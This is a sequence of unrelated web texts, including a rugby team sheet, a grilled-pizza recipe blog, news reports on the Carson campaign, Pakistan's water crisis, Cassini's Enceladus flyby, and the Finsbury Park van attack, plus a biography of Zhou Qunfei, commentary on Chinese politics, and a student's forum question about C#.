ers: For Sharks: Tries: Pietersen 2, Claassens, D Du Preez Cons: April 2, Lambie Pens: April, Lambie For Hurricanes: Tries: Goodes, Marshall Cons: Barrett, Woodward Sharks: 15 Willie le Roux, 14 JP Pietersen, 13 Paul Jordaan, 12 Andre Esterhuizen, 11 Lwazi Mvovo, 10 Garth April, 9 Michael Claassens, 8 Daniel du Preez, 7 Jean-Luc du Preez, 6 Keegan Daniel, 5 Stephan Lewies, 4 Etienne Oosthuizen, 3 Lourens Adriaanse, 2 Franco Marais, 1 Tendai Mtawarira (c) Replacements: 16 Chiliboy Ralepelle, 17 Dale Chadwick, 18 Thomas du Toit, 19 Hyron Andrews, 20 Jean Deysel, 21 Stefan Ungerer, 22 Pat Lambie, 23 Odwa Ndungane Hurricanes: 15 James Marshall, 14 Cory Jane, 13 Vince SO, 12 Ngani Laumape, 11 Julian Savea, 10 Beauden Barrett, 9 TJ Perenara, 8 Victor Vito, 7 Ardie Savea, 6 Brad Shields, 5 Michael Fatialofa, 4 Vaea Fifita, 3 Jeffery Toomaga-Allen, 2 Dane Coles (c), 1 Reg Goodes Replacements: 16 Motu Matu’u, 17 Chris Eves, 18 Ben May, 19 Mark Abbott, 20 Blade Thomson, 21 Jamison Gibson-Park, 22 Willis Halaholo, 23 Jason Woodward Referee: Marius van der Westhuizen Assistant Referees: Quinton Immelman, Rodney Bonaparte TMO: Marius JonkerKrauthammer: Obama Thinks Diplomacy Is About Psychological "Narratives," Ignores On-The-Ground Realities Syndicated columnist Charles Krauthammer discusses the White House press secretary's statement that the war against ISIS is a "war of narratives." KRAUTHAMMER: I think he response you heard from a presidential spokesman on narrative was clearly a mistake and something that can be easily exploited by the other side — and should be — because it reflects the president’s idea which he has had since the beginning of his terms, which is that diplomacy, soft power, and all this, is what international relations is all about, and this is subset of that. In other words, the war on terror is a war of narratives, it’s a war of ideas, hearts, and minds. Yes — however, hearts and minds are swayed by what is going on on the ground. It’s what bin Laden talked about when he said people will go for the strong horse. The fact that there is less recruitment to ISIS today is a reflection of the fact that it is losing on the ground slowly – very gradually. Nonetheless, if you are going to give your life to the jihad, you’re not going to do it if you think the jihad is not going to succeed, and that I think is what this administration simply never understands. Everything is soft, everything is ideological, and nothing matters on the ground. Everything hinges on what happens on the ground.Simple Asparagus Ribbon and Leek Grilled Pizza How great is spring? I’ve been falling back in love with our little patio, reacquainting myself with country music, and trying to learn the art of mixing summery cocktails. It’s happening, guys! The hard Minnesota winters really force you to appreciate turning that springtime corner. Also, I can’t believe I haven’t mentioned this yet, but Ryan and I will be enjoying some of our springtime in Paris! A couple of our friends are living there for a few years, so we’re flying to Paris to spend some time with them, and will also be exploring the Champagne region (bubbles!), and Biarritz (beachy!). It’s just four short weeks until I get to dust off my high school and early-college French skills (errm, I hope I my memory serves me well). Although I’m sure the next month will feel rather slow because of anticipation, at least I have all the excitement of springtime to keep me occupied. I can do things like eat asparagus and grill pizza! Which is exactly what we’re talking about today. As far as springtime foods go, I’m not sure it gets any better than asparagus. Bright in color and flavor, asparagus takes very little work to make it desirable: olive oil, salt, pepper, and voila – pan fry or roast (or grill on top of pizza) for some quick springtime yums. In this recipe, I shaved the asparagus spears into ribbons, lightly seasoned them, and piled them on top of fresh mozzarella and garlicky leeks. For several years I had a one-track RED SAUCE PIZZA mind, but these days I’m partial to the simpler white pies. In this case, the mozzarella melts into the buttery-tasting leeks, which work perfectly with the bright, fresh asparagus flavor. For the crust I used the whole wheat flax pizza crust from my book, but this whole wheat beer pizza crust would work as well. If you haven’t grilled pizza before, I highly recommend you hone your skills before summer hits. Ryan and I grill pizza on the patio at least once a week when the weather is warm, and I love grilling pizza when friends come over – it’s a fun group activity that results in some seriously delicious pizza. Also, possibly more importantly, it gives me an excuse to keep hanging out on my patio and practicing my bartending skills.From Day One, Armstrong Williams was a problem. Ben Carson announced his presidential candidacy to a packed house on May 4, 2015, in his hometown of Detroit at the Music Hall Center for the Performing Arts. It was an event surrounded by a great deal of fanfare, quarterbacked by Carson’s former communications manager Doug Watts. And it all would have gone perfectly if not for Armstrong Williams, a man who has kept close personal ties with Carson and frequently refers to himself as the candidate’s business manager. According to Watts, Williams went behind his back and recorded an announcement at Carson’s home which aired on the local Florida TV station WPEC on May 3. This undercut all the planning that went into the event in Detroit the following day, causing the press to slowly disappear. “At about 8 o’clock, in the middle of the rehearsal that evening, we’re sitting in the theater and Ben is sitting in front of me, with Armstrong next to him,” Watts told The Daily Beast after a discussion at Georgetown University last week. “Someone runs over and says, ‘So you just announced.’ And I’m like ‘What are you talking about? Ben is sitting right here, we’re announcing tomorrow.’” In that moment, when Williams had done something in secrecy, subverting a carefully orchestrated and expensive plan, Watts knew there would be trouble. And try as he might for months after this, Watts just couldn’t take it anymore. In hindsight, he just wished he had realized the lengths of the issue with Williams earlier on. “My antenna should have gone up on the night of the announcement,” he told The Daily Beast. “Like what the fuck? I had cameras fall off. I had reporters fall off. It was anti-climactic. Sean Hannity left. How many times do you need that?” This kind of headstrong, bullish behavior is nothing new for Williams, who has demonstrated his win-at-all-costs temperament in the past whether defending Clarence Thomas in court or fighting for his own reputation when faced with a bruising harassment suit. Williams did not respond to a request for comment for this article. Whenever Watts and Barry Bennett, the former campaign manager, discuss Armstrong Williams—as they have become accustomed to do since exiting the campaign on a wild, confusing New Year’s Eve—it’s as if they’ve seen war. Watts, the more boisterous of the two voices, a kind of guns-blazing sidekick in a western film, breathes deeply before letting his diatribes rip. Bennett, who managed to get Watts to stick around longer than anticipated, is contemplative and jovial, breaking into a high-pitched chuckle as he and Watts regale each other with the somewhat traumatic stories like supermodels would treat unattractive pictures of themselves in high school. And now that they’ve separated from the campaign, and Bennett has accepted a role as an unpaid adviser for Trump’s camp, it’s a no-holds barred war against Williams, who took to Facebook on Friday to address their “unmitigated gall.” “If they are so willing to throw Carson under the bus, what will they do to their next employer?” Williams wrote. As Bennett and Watts see it, it’s Williams who has thrown Carson under the bus. Now they just hope that Carson will wake up, listen to reason, and stop taking orders from the man who they say has driven the campaign “off a cliff.” “Ben Carson has never said, ‘Armstrong Williams is my business manager,’” Bennett said, emphasizing that that specific designation is an invention from Williams’s own imaginative brain. “What business is it that they have together?” The thing that cuts the deepest for Bennett and Watts is that they really like Carson and were personally touched by his inspiring story. Watts studied the playbook of Barack Obama’s successful 2008 presidential campaign, hoping that Carson could capitalize on the same groundswell of support from people looking for hope once again. In the soft-spoken former neurosurgeon, the tag team saw a person who could be the insurgent candidate the Republican Party desperately needed, a similar game plan that has worked its magic for Ted Cruz and Donald Trump. And it worked in the brief spell when Carson became the nation’s frontrunner and the only person to date who managed to outpoll Trump nationally. For Bennett and Watts, it all seemed possible too but for Armstrong Williams, who on multiple occasions bypassed the rest of the team, approving fiscally irresponsible moves and permitting interviews for Carson and his team that turned disastrous. In just one of these cases, Williams offered up a personal driver for Carson before the campaign was granted Secret Service protection. According to Bennett, he would drive Carson around willy-nilly for months until Williams dropped a $22,000 invoice for his services with no warning and no precedent. In another instance Williams outsourced the production of a campaign song to the tune of over $50,000. The problem was that the campaign had already put money behind another tune and Williams knew that. “What the f-,” Bennett said, trailing off to avoid saying the word. “I’m not paying for this.” Above and beyond his flagrant uninterest in collaborating with the campaign infrastructure, Williams would allegedly lie to Carson to create an illusion that all internal relations were sound. “Sometimes Armstrong would lie to him and say that he had talked to us and that we had signed off,” Bennett said. “That was never the case. Then Ben would try to be the peacemaker. “I think he’s just living in an alternative universe,” Bennett said trying to understand why Carson would still cooperate with Williams. Such was the discordant nature of a campaign where in many instances, reporters would struggle with conflicting statements coming out of two disparate camps: Bennett and Watts on one side and Williams on the other. In some cases, Williams would be on the phone with Carson and reporters at the same time, trying to get the story straight in real time. Even as Williams attempted to float above the campaign, never distinguishing himself as an actual staffer and never actually appearing at campaign headquarters, he was always pulling the strings. “Yeah, he would tell you he has nothing to do with it, which is complete and utter bullshit,” Bennett said. Williams has never made a secret of how tough he can be to his colleagues and employees—even using it as a defense in a 1997 sexual harassment case that was eventually dismissed. Both Bennett and Watts acknowledged the case itself was just a subsidiary concern as Williams positioned himself for a role in Carson’s presidential campaign, but was just one of a multitude of reasons why Watts and Bennett began to lose faith in the whole endeavor. “We only read it in passing and said ‘OK, I guess we’re going to have to handle this at some point in the campaign,’” Watts said, breaking into one of his burly laughs. The plaintiff in the harassment case was Stephen Gregory, a young man who met Williams in 1994 when he was hired as his personal trainer at a local YMCA. Gregory went on to work alongside Williams on his radio program The Right Side—a show which still airs to this day—and eventually became his radio producer. On April 10, 1996, Gregory filed his complaint detailing allegations of sexual harassment over a period of two years and requested “emotional distress damages in an amount to be proven at trial.” “I didn’t sexually harass him, but I did harass him,” Williams said, defending himself in a deposition at the time. “I only harassed him to do his job.” The list of alleged physical and emotional altercations began with Williams touching Gregory’s knee while he was driving, according to Gregory’s statements to psychologists in court documents obtained by The Daily Beast. There are other purported instances of Williams grabbing Gregory’s butt and penis in the office, discussions of sexual matters, requests for personal time between the two of them and shared beds in hotel rooms on business trips. Gregory claimed that he was fired from his position because he repeatedly rejected these sexual advances. He and his attorney, Mickey Wheatley, requested $250,000 in damages, which Williams chalked up to an extortion letter, calling the allegations baseless. Williams and his attorney, Peter Axelrad, painted Gregory as an inept employee who was fired for doing a bad job. “To sue people who are well known who has a degree of money. You make false allegations, and you hope to live a life without ever working for—earning an income,” Williams said in a deposition. During Williams’s depositions the argument with Wheatley devolved into a series of questions about the radio host’s sexuality. Williams, a prominent media figure in conservative circles who gained notoriety for defending Clarence Thomas, patently denied any suggestion that he was homosexual and referred to it as a sin. “I can’t speak for other heterosexuals, but I can only speak for myself,” Williams said when Wheatley asked if it was impossible that he harassed Gregory because he is heterosexual. “It is impossible that I could have harassed the man who worked for me. It is impossible.” While it remained unclear what, if anything, exactly happened between Gregory and Williams, this wasn’t the first time that an employee had leveled these sorts of allegations. Ebon Robinson said that Williams sexually harassed him as well, but later recanted the statement. Gregory’s counsel also alleged at the time that they had spoken to a former masseur who made similar allegations against the radio host. Multiple attempts to reach Wheatley and Gregory were unsuccessful. The Gregory case came to halt on Jan. 19, 1999, when both parties suddenly agreed to dismiss the matter with prejudice in D.C. Superior Court. While the attorneys were preparing for what could have been a nasty trial in April, Gregory and Williams privately agreed to walk away from the case. At the time, Williams claimed that no money changed hands, but Gregory didn’t comment as to whether there were financial incentives for him to dismiss the charges. “I am not going to comment on that,” he said. “I am very happy with the resolution.” When The Daily Beast spoke with Williams’s attorney at the time, Peter Axelrad, a civil trial litigation attorney in Maryland, he said he had no idea how the case ended. “It is entirely possible that this matter was settled,” Axelrad said. “I can’t tell you.” But to his recollection, Axelrad thought the suit was a waste of time. “We didn’t believe in the case,” he said. “I didn’t believe that the plaintiff had any merit.” Watts and Bennett said Williams has never harassed anyone on the campaign except, they joked, for them. “My history has always been [that] innocent people don’t often write checks,” Bennett added. But the only thing Bennett is outright willing to accuse Williams of is being a bully—one who pushes Carson around until he gets his way. As to which way Carson is going as the campaign continues to nosedive, Bennett says there’s only one sensible path. “I’m sure he’d never do it but the most influence he’d ever have right now is [with] Trump,” said Bennett, who thinks Trump will get the nomination. “He could endorse Trump and help him win Iowa.” He thinks this’ll never happen though and that Carson will ride the campaign out until the wheels fall off. That is, maybe unless Armstrong Williams says otherwise. —with additional reporting by Katerina PappasIn 2014 Australia’s political and economic landscape has been dominated by Federal affairs, allowing the Victorian state election to creep onto the horizon without as much attention as many would have expected. On November 29, Victorians will go to the polls to decide whether to extend the Coalition’s reign beyond a single term, and the usual level of bastardised economic debate is almost guaranteed. As always, the conservative side will bemoan 11 years of financial mismanagement under the former Labor government, and boast the remarkable turnaround they have achieved in the four years since 2010. Labor, by contrast, will deride the rising unemployment and stalling growth that accompany Liberal’s cuts to key services. To avoid succumbing to the potentially misleading rhetoric of either side, a quick survey of the facts is in order, starting with Victoria’s growth and unemployment rates. Using data from the Department of Treasury and Finance, and assigning each budget year to the government that handed down the preceding budget, we can derive the following: Labor sustained an average growth rate of 2.8% over its period in power, while the current term and forward estimates indicate an average of 2.4% under the Coalition. Growth fell significantly below 2% in 2008-09 as the impact of the Global Financial Crisis hit the state, and unemployment’s downward trend reversed at this point. Importantly, the budget estimates that the unemployment rate will continue to rise into 2015, peaking at 6.25%, well above the GFC peak of 5.5%. Overall, Labor’s term saw average unemployment of 5.4%, compared to a projected 5.8% under the Coalition. Nevertheless, growth remains positive and unemployment (at present) below 6%. Should these indicators be of concern as we head towards the election? One way to find out is to compare them to the national equivalent, looking at Victoria’s performance compared with Australia as a whole. Here we find: Growth varied in its relationship to the national figure under Labor, but has remained lower since 2009-10, possibly indicating a sustained and exaggerated effect from the GFC on Victoria compared to other states. The unemployment figures are perhaps of more concern. After remaining below the national average for some years, Victoria’s unemployment rate jumped 2-3% above this average between 2004 and 2009. While this figure was brought back on par with the national equivalent during the final two years of the Labor Government, it has ballooned again since then. A range of factors might be at play here, including the success of mining interstate vis-à-vis manufacturing in Victoria, as well as the investment decisions of both the federal and state governments in recent years. Either way, these indicators present as likely targets during the election campaign. As the 2013 federal election showed, however, growth and unemployment pale beside the behemoths of political and economic discussion that are debt and deficit. Using figures as a percentage of gross state product we find: It has been a long time since a Victorian government has handed down a budget with a deficit, with small surpluses delivered under the current and former government. Despite this, the state’s debt levels have grown significantly, from a position of less than one percent of GSP through most of the 2000s, to more than 6% of GSP in 2013-14, and higher again in 2014-15. Despite what the recent federal campaign might imply, this is probably not a level that ought to give cause for alarm. It is, however, a rather significant blow to Liberal Treasurer Michael O’Brien’s claim that the past four years have been spent fixing the financial mess left behind by the Labor government. These data points only scratch the surface of what is occurring in Victoria’s economy. They do, however, shed some light on the overall state of the state – and they might just come in handy when debate and conjecture about economic management gets into full swing.A UNDP report says that Pakistani authorities are negligent about an impending water crisis that is posing a serious threat to the country's stability. Experts say the South Asian country is likely to dry up by 2025. The major threat that Pakistan faces today is not Islamist terrorism but water scarcity. While the former makes headlines all over the world, the latter is an issue that is hardly discussed in the national and international media or by policymakers. But a recent UNDP draft report on the water crisis in Pakistan sheds light on a serious, albeit much-neglected, conflict the South Asian country is grappling with. While discussing the UNDP report "Development Advocate Pakistan," Shamsul Mulk, former chairman of the Water and Power Development Authority, said that water policy is simply non-existent in Pakistan. Policymakers act like "absentee landlords" of water, he added. "Because of this absentee landlordism, water has become the property of the landlords and the poor are deprived of their share," Mulk said. Pakistan hasn't built new dams since the 1960s, say experts The draft report on water resources was prepared at the request of the ministry of water and power. Mulk said, however, the cabinet ministers never reviewed it. Advertisement Last year, the Pakistan Council of Research in Water Resources (PCRWR) warned that the country may run dry by 2025 if the authorities didn't take immediate action. It said the majority-Muslim country touched the "water stress line" in 1990 and crossed the "water scarcity line" in 2005. If this situation persists, Pakistan is likely to face an acute water shortage or a drought-like situation in the near future, predicted the PCRWR, which is affiliated with the South Asian country's Ministry of Science and Technology. Expert Irfan Choudhry says the authorities lack the political will to tackle the problem. "There are no proper water storage facilities in the country. Pakistan hasn't built new dams since the 1960s. What we see is political bickering over the issue. The authorities need to act now. We can store water for only 30 days, and it is worrisome," Choudhry told DW. Climate change and poor management Pakistan has the world's fourth highest rate of water use. Its water intensity rate - the amount of water, in cubic meters, used per unit of GDP - is the world's highest. This suggests that no country's economy is more water-intensive than Pakistan's. According to the International Monetary Fund (IMF), Pakistan is already the third most water-stressed country in the world. Its per capita annual water availability is 1,017 cubic meters - perilously close to the scarcity threshold of 1,000 cubic meters. Back in 2009, Pakistan's water availability was about 1,500 cubic meters. Related Subjects Water Asia Kashmir India Pakistan Terrorism The scarcity of water is triggering conflicts in the country The bulk of Pakistan's farmland is irrigated through a canal system, but the IMF says in a report canal water is vastly underpriced, recovering only one-quarter of annual operating and maintenance costs. Meanwhile, agriculture, which consumes almost all annual available surface water, is largely untaxed. Experts say that population growth and urbanization are the main reasons behind the crisis. The issue has also been exacerbated by climate change, poor water management, and a lack of political will to deal with the crisis. "Pakistan is approaching the scarcity threshold for water. What is even more disturbing is that groundwater supplies - the last resort of water supply - are being rapidly depleted. And worst of all is that the authorities have given no indication that they plan to do anything about any of this," Michael Kugelman, South Asia expert at the Washington-based Woodrow Wilson Center, told DW in an interview. Blaming India Yet, Pakistan blames India for its water crisis. The country's authorities say that New Delhi is not fulfilling its responsibilities under the Indus Waters Treaty - brokered by the World Bank in 1960 - as they voice concerns over India's construction of new dams. Like militancy, a water crisis could threaten the legitimacy of the government and state Recently, Pakistani Prime Minister Nawaz Sharif took up the dams issue with the World Bank. Sharif urged the Bank to play a "lead role" in resolving the water disputes between Pakistan and India by establishing a Court of Arbitration. But the international community, as well as the UNDP, holds Pakistan responsible for the dispute. Kugelman says that the Pakistani authorities need to step up efforts to overcome the crisis, which is partly man-made. "First of all, Pakistan's leaders and stakeholders need to take ownership of this challenge and declare their intention to tackle it. Simply blaming previous governments, or blaming India, for the crisis won't solve anything. Next, the government needs to institute a major paradigm shift that promotes more judicious use of water," Kugelman emphasized. Ashfaq Ahmed Sheikh, director of the Pakistan Council of Research in Water Resources, told DW that the authorities had already introduced several schemes in the cities of Sheikhupura and Sargodha and saved up to 50 percent of water used in the rice fields, without compromising on production. He called on the government to initiate more such projects all over the country. Fueling tensions The scarcity of water is also triggering security conflicts in the country. Experts say the economic impact of the water crisis is immense, and the people are fighting for resources. Three out of four Pakistani provinces blame the most populous and politically empowered province, Punjab, for usurping their water sources. "The government is ignoring the interests of our province," Ayaz Lateef Palejo, a nationalist leader from the southern Sindh province, told DW. "There is massive corruption in the water sector, and we are unhappy with the situation," he added. Pakistan blames India for its water shortage Kugelman also believes that the economic implications of the conflict are creating rifts among the population, which are likely to aggravate the security situation in the country. "The political implications of the crisis have yet to be determined, but we can expect that if nothing is done and the situation gets worse, pressure on the political leadership will intensify. In the years ahead, this could lead to unrest-and, if things get sufficiently out of hand, perhaps even a military takeover. None of this can be ruled out. Such is the seriousness of the situation," said Kugelman. "Some may say that loose nukes and Islamist militant takeovers are the big fear for Pakistan. For me, the nightmare is water scarcity, because in Pakistan it is very real and already upon us," the expert added. Additional reporting by Sattar Khan, DW's correspondent in Islamabad. Shamil ShamsPASADENA, Calif. -- NASA's Cassini spacecraft successfully completed its Oct. 1 flyby of Saturn's moon Enceladus and its jets of water vapor and ice. At its closest approach, the spacecraft flew approximately 62 miles (100 kilometers) above the moon's surface. The close approach was designed to give some of Cassini's instruments, including the ion and neutral mass spectrometer, the chance to "taste" the jets themselves.At a higher vantage point during the encounter, Cassini's high-resolution camera captured pictures of the jets emanating from the moon's south polar region. The latest raw images of Enceladus are online at: http://saturn.jpl.nasa.gov/photos/raw/ The images of the surface include previously seen leading-hemisphere terrain. However, during this encounter, multi-spectral imaging of these terrains extended farther into the ultraviolet region of the electromagnetic spectrum than had previously been achieved at this resolution. By looking at the surface at ultraviolet wavelengths, scientists can better detect the difference between surface materials and shadows than they can at visible wavelengths, where icy materials are highly reflective and shadows are washed out. With both ultraviolet and visible images of the same terrain available to them, scientists will better understand how the surface coverage of icy particles coming from the vents and plumes changes with terrain type and age.Cassini's next pass of this fascinating moon will be Oct. 19, when the spacecraft flies by at an altitude of approximately 765 miles (1231 kilometers).The Cassini-Huygens mission is a cooperative project of NASA, the European Space Agency and the Italian Space Agency. The Jet Propulsion Laboratory, a division of the California Institute of Technology in Pasadena, manages the mission for NASA's Science Mission Directorate, Washington. The Cassini orbiter and its two onboard cameras were designed, developed and assembled at JPL. The imaging operations center is based at the Space Science Institute in Boulder, Colo. The Ion and Neutral Mass Spectrometer science team is based at the Southwest Research Institute, San Antonio, Texas.For more information about the Cassini-Huygens mission, visit http://www.nasa.gov/cassini and http://saturn.jpl.nasa.gov News Media Contact Gay Hill 818-354-0344Jet Propulsion Laboratory, Pasadena, CalifGay.y.hill@jpl.nasa.gov2011-309Zhou Qunfei (Chinese: 周群飞; born 1970) is a Chinese entrepreneur who founded the major touchscreen maker Lens Technology. After the public listing of her company on the Shenzhen ChiNext market in March 2015, her net worth reached US$10 billion, making her the richest woman in China.[3] In 2018, she was named the world's richest self-made woman, with a net worth of $9.8 billion.[4] Early life [ edit ] Zhou Qunfei was born in 1970 in Xiangxiang, Hunan province, China, the youngest of three children in a poor family. Before she was born, her father, a former soldier, became partially blinded and lost a finger in an industrial accident in the 1960s. A skilled craftsman, he supported the family by making bamboo baskets and chairs and repairing bicycles. Her mother died when she was five. As a child she helped her family raise animals for sustenance and small profit. Although she was the only one out of her siblings to attend secondary school and showed promise as a bright student, she dropped out at age 16 and moved in with her uncle's family to become a migrant worker in Shenzhen, the special economic zone in Guangdong province.[3][5] While she briefly considered pursuing a government job for its stability, she discarded the idea as lacking a diploma would make it difficult to do so.[6] In Shenzhen she deliberately chose to work for companies near Shenzhen University, so she could take part-time courses at the university. She studied many subjects and passed the examinations to be certified for accounting, computer operations, customs processing, and even became licensed for driving commercial vehicles. Her biggest regret is not having studied English.[7] Career [ edit ] Although she dreamed of being a fashion designer, Zhou found a job working for a small family-run firm making watch parts for about 180 yuan a month.[6] Displeased with the working conditions, she decided to quit after three months and submitted a letter of resignation explaining her reasons, yet expressing gratitude for the working opportunity. The letter moved the factory chief to offer her a promotion instead.[5] When the factory folded, she established her own company in 1993 at age 22,[3] with her savings of HK$20,000 (~USD$3,000[5]). It was her cousin who encouraged her to start on her own business, and the company began with her brother, sister, their spouses, and two cousins all working out of a three bedroom apartment.[7] The company appealed to customers by promising higher-quality watch lenses. Here, Zhang took a hands on approach and involved herself in all parts of the company, including repairs and creating improved designs of factory machinery.[5] In 2001, she caught her big break when her company won a profitable contract to make mobile phone screens for the Chinese electronics giant TCL Corporation.[3] Zhou Qunfei has stated that over the years she has started a total of 11 companies.[8] Lens Technology [ edit ] In 2003, while still producing watch faces, Zhou's company received a request from Motorola to develop glass screens for their Razr V3, during a period when the mobile phone industry was transitioning from plastic to glass display screens.[5] Following this, Zhou Qunfei started touch-screen maker Lens Technology (named so that it would turn up to potential customers searching "lens" online)[2] in 2003 and the company soon received orders from other mobile-phone makers such as HTC, Nokia, and Samsung Electronics.[3] After producing the touch screens for Apple's iPhone during its 2007 market entry, Lens developed into the dominant player of the industry. Lens Technology now primarily supplies touch-screens to leading electronics makers such as Apple, Samsung, and Huawei, receiving nearly 75% of its revenue from Apple and Samsung.[5] The Apple Watch uses her company's glass and sapphire crystal screens. As of 2017, the company employs about 90,000 people, was expected to churn out more than a billion glass screens, and has 32 different factory locations.[5][3][6][9] On 18 March 2015, the 22nd anniversary of the founding of her first start-up,[7] Lens Technology began trading on the ChiNext A-share market of the Shenzhen Stock Exchange. The company's stock price rose by the market's daily limit of 44% on the first day and 10% every subsequent day for 13 days in a row between 19 March and 2 April.[3] This made Lens Technology China's largest technology IPO in the first quarter of 2015.[10] Accomplishments [ edit ] During Lens' 2015 IPO offering, Zhou's (who holds 87.9% of the shares, a $7.2 billion stake as of July 2015) net worth rose 452%, dethroning Chen Lihua as China's richest woman.[3][6] She also holds the position of the world's richest self made woman, and is one of the richest women in the technology sector.[3] Additionally, Zhou is on Forbes lists as #61 in 2016 Power Women, #205 in 2016 Billionaires (#9 out of Hong Kong billionaires), #18 in 2015 China Rich List, and #30 in 2015 Richest in Tech.[11] Fortune ranked her #18 on their 2016 Most Powerful Women of Asia-Pacific list, and she is a newcomer to the list.[10] Bloomberg has ranked her as #211 out of the world's billionaires.[2] Personal life [ edit ] Zhou Qunfei married her former factory boss, had a daughter, and divorced.[5] Her daughter is currently studying overseas. In 2008, she married Zheng Junlong (郑俊龙), a longtime factory colleague who currently serves on the Lens board and has a 1.4% shareholding in the company. They have a seven-year-old son who lives at their Hong Kong family home.[5][6][7] The family owns a $27 million estate in Hong Kong. Zhou has stated that although she considers work to be her hobby, she also enjoys mountain climbing and ping pong.[12] Zhou Qunfei's rags-to-riches story has been hailed as an inspiration to the millions of migrant workers in China. In an interview with Gansu Television, she said the secret of her success was the desire to learn.[3]Chinese Politics Has No Rules, But It May Be Good if Xi Jinping Breaks Them August 9, 2017 CSIS As China’s top leaders flee the oppressive summer heat of Beijing in favor of a few weeks of policy meetings and vacation at the leadership’s seaside retreat at Beidaihe, the break provides a welcome opportunity to reflect upon the direction of Chinese elite politics as President and Chinese Communist Party (CCP) General Secretary Xi Jinping approaches the conclusion of his first five-year term in office. If one were to try to capture in a phrase the essence of Xi’s tenure thus far as China’s top ruler, it could fairly be characterized as “political shock and awe.” Whether it be his withering anticorruption drive that has felled both retired and active senior leaders, his radical restructuring of the world’s largest fighting force in the People’s Liberation Army (PLA), or his notable success in bolstering his personal stature within the leadership as the CCP’s new “core” leader, it is incontrovertible that Xi has emerged as the most powerful Chinese leader in decades. And, of course, this year’s leadership deliberations at Beidaihe take on a special significance given the substantial leadership turnover that will accompany this fall’s 19th Party Congress. In fact—and fairly or not—the Party Congress will be viewed in the eyes of both Chinese elites and foreign observers as something of a referendum on Xi’s success in establishing himself as China’s unquestioned political supremo. Given the high stakes associated with the drama that is about to unfold, it is a worthwhile—if very challenging—exercise to try to ascertain where Xi may be headed both in arranging the Politburo deck chairs at the Party Congress and in terms of the policy roadmap that may follow in the years to come. As with any such examination, it is difficult to uncover the direction of travel without first having a solid grasp on where one has been before. Much has been said and written about the trajectory of China’s political evolution in the last few decades. With very few exceptions, this body of work can be summarized by the general notion that, starting with deceased paramount leader Deng Xiaoping’s reforms in the aftermath of the ruinous Cultural Revolution (1966–1976), the succeeding generations of Chinese leaders have, despite a few ups and downs, mainly stuck to a consensus approach whereby the mechanics of leadership interactions and the handover from one leadership cohort to another has become orderly, rules-based, and predictable. Some analysts have even described this evolution as the institutionalization of Chinese politics. A Rulebook with No (Meaningful) Rules But a careful study of the CCP’s recent political history, or even its foundational organizing principles, seems quickly to belie such a conclusion. For starters, it is worth noting that the Party’s “rulebook”—the CCP Constitution—has very few rules, and almost none that meaningfully constrain the activities of the Party
the late 19th and early 20th century.” Long conjured an image of miles-long street parades and mammoth performances staged in colossal canvas tents. “Audiences watched daring performers, heard new musical forms, viewed the world of animals, and saw people from foreign lands, as well as seeing for the first time electric lights and automobiles.” CLIR is an independent, nonprofit organization that forges strategies to enhance research, teaching, and learning environments in collaboration with libraries, cultural institutions, and communities of higher learning. CLIR is funded by The Andrew W. Mellon Foundation. Founded in 1969, the Andrew W. Mellon Foundation endeavors to strengthen, promote, and, where necessary, defend the contributions of the humanities and the arts to human flourishing and to the well-being of diverse and democratic societies by supporting exemplary institutions of higher education and culture as they renew and provide access to an invaluable heritage of ambitious, path-breaking work. Additional information is available at mellon.org.LONDON (Reuters) - An imam intervened to stop local residents from beating a man accused of driving into people on Monday outside a London mosque after Ramadan prayers, and one official said “his bravery and courage” potentially saved the man’s life. Mohammed Mahmud, the imam of the Muslim Welfare House, speaks to journalists about the van that driven was driven at Muslims in Finsbury Park, North London, Britain, June 19, 2017. REUTERS/Hannah McKay The suspect was yanked from the cab of his van by a furious crowd as he sought to reverse and escape after injuring 10 people in what police said was a deliberate attack on Muslims that was being treated as terrorism. The man was being held down, beaten and kicked when Muslim cleric Mohammed Mahmoud stepped in to plead with people just to restrain him until police arrived. “We found that a group of people quickly started to collect around him, around the assailant and some tried to hit him either with kicks or punches. By God’s grace we managed to surround him and to protect him from any harm,” Mahmoud said. “We managed to extinguish any flames of anger or mob rule that might have taken charge,” he told reporters, adding he was acting with “a group of mature brothers”. The suspect had been shouting earlier “I’ve done my bit”, aid Toufik Kacimi, the chief executive of the nearby Muslim Welfare House community center, who praised the imam’s courage. “(The imam’s) bravery and courage helped calm the immediate situation after the incident and prevented further injuries and potential loss of life,” he said. If confirmed by authorities as terrorism, this would be the fourth such attack in Britain since March and the third to involve a vehicle driven at pedestrians. The suspect was described by police as a 48-year-old white man, who was taken into custody. “I’ve just seen sheer pandemonium. People on the floor screaming. People bleeding. I’ve seen the guy being held on the floor,” Ibn Oman told Reuters at the scene. “(The Imam) did the right thing. He had to stop people.” The London mayor praised the imam’s actions. “PLEASE STEP BACK” Mahmoud called on the incensed worshippers not to commit a sin during the holy fasting month of Ramadan. “The imam came from the mosque and he said, ‘Listen we are fasting, this is Ramadan, we are not supposed to do these kinds of things so please step back,’” said Mohammed, a 29-year-old cafe owner who was one of three men who held the suspect down, The Guardian newspaper reported. “For that reason this guy is still alive today,” he added. Mohammed Mahmud, the imam of the Muslim Welfare House, speaks to journalists about the van that driven was driven at Muslims in Finsbury Park, North London, Britain, June 19, 2017. REUTERS/Hannah McKay “He tried to run away but we brought him down. He would’ve died because so many people were punching him,” an eyewitness who gave his name as Abdul told The Independent. There were more angry scenes as police arrived and protected the accused man as he was put into a police vehicle. The van had hit people assisting an elderly man who had collapsed, and who later died. It was not clear if he died because of the attack, The attack comes just over two weeks after three Islamist militants drove into pedestrians on London Bridge and stabbed people at nearby restaurants and bars, killing eight. Since then incidents of hate crime have risen, police say.I am a first year computer science major. I went to a job fair, handed out resumes, much to my surprise I got an interview and eventually an internship as a developer. I explained to the interviewer (who will be my boss) that I am only a first year and do not have a large amount of experience programming. He simply told me that because I have a strong background in math (I am almost done with my BA in math, plus I have some grad courses under my belt) the he is confident I will do fine. I do well in all programming courses but I still feel that I am at a disadvantage. Right now, I really just want to do good at this job when it starts. The job will be using mostly C#, but besides obviously learning some C#, what is the one skill that you wish you could have learned before you became a real programmer? Any advice is greatly appreciated, but if you have any books in mind please tell. Thanks!Bitcoins Come to China Summary：After the banking crisis in Cyprus this year sent residents flocking to virtual currency, many Chinese took a speculative interest in Bitcoin. Some think that it represents the future of currency, but others see it as little more than a speculative bubble. Photo: bitcoinworld.blogspot.ru By Chen Huijing (陈慧晶) Issue 618, May 6, 2013 Market, page 17 Translated by Zhu Na Original article: [Chinese] Within just one month, the value of Cheng Hua’s (程华) Bitcoin holdings had increased nearly sixfold. Bitcoin, an unofficial virtual currency that’s transferred digitally without an intermediate 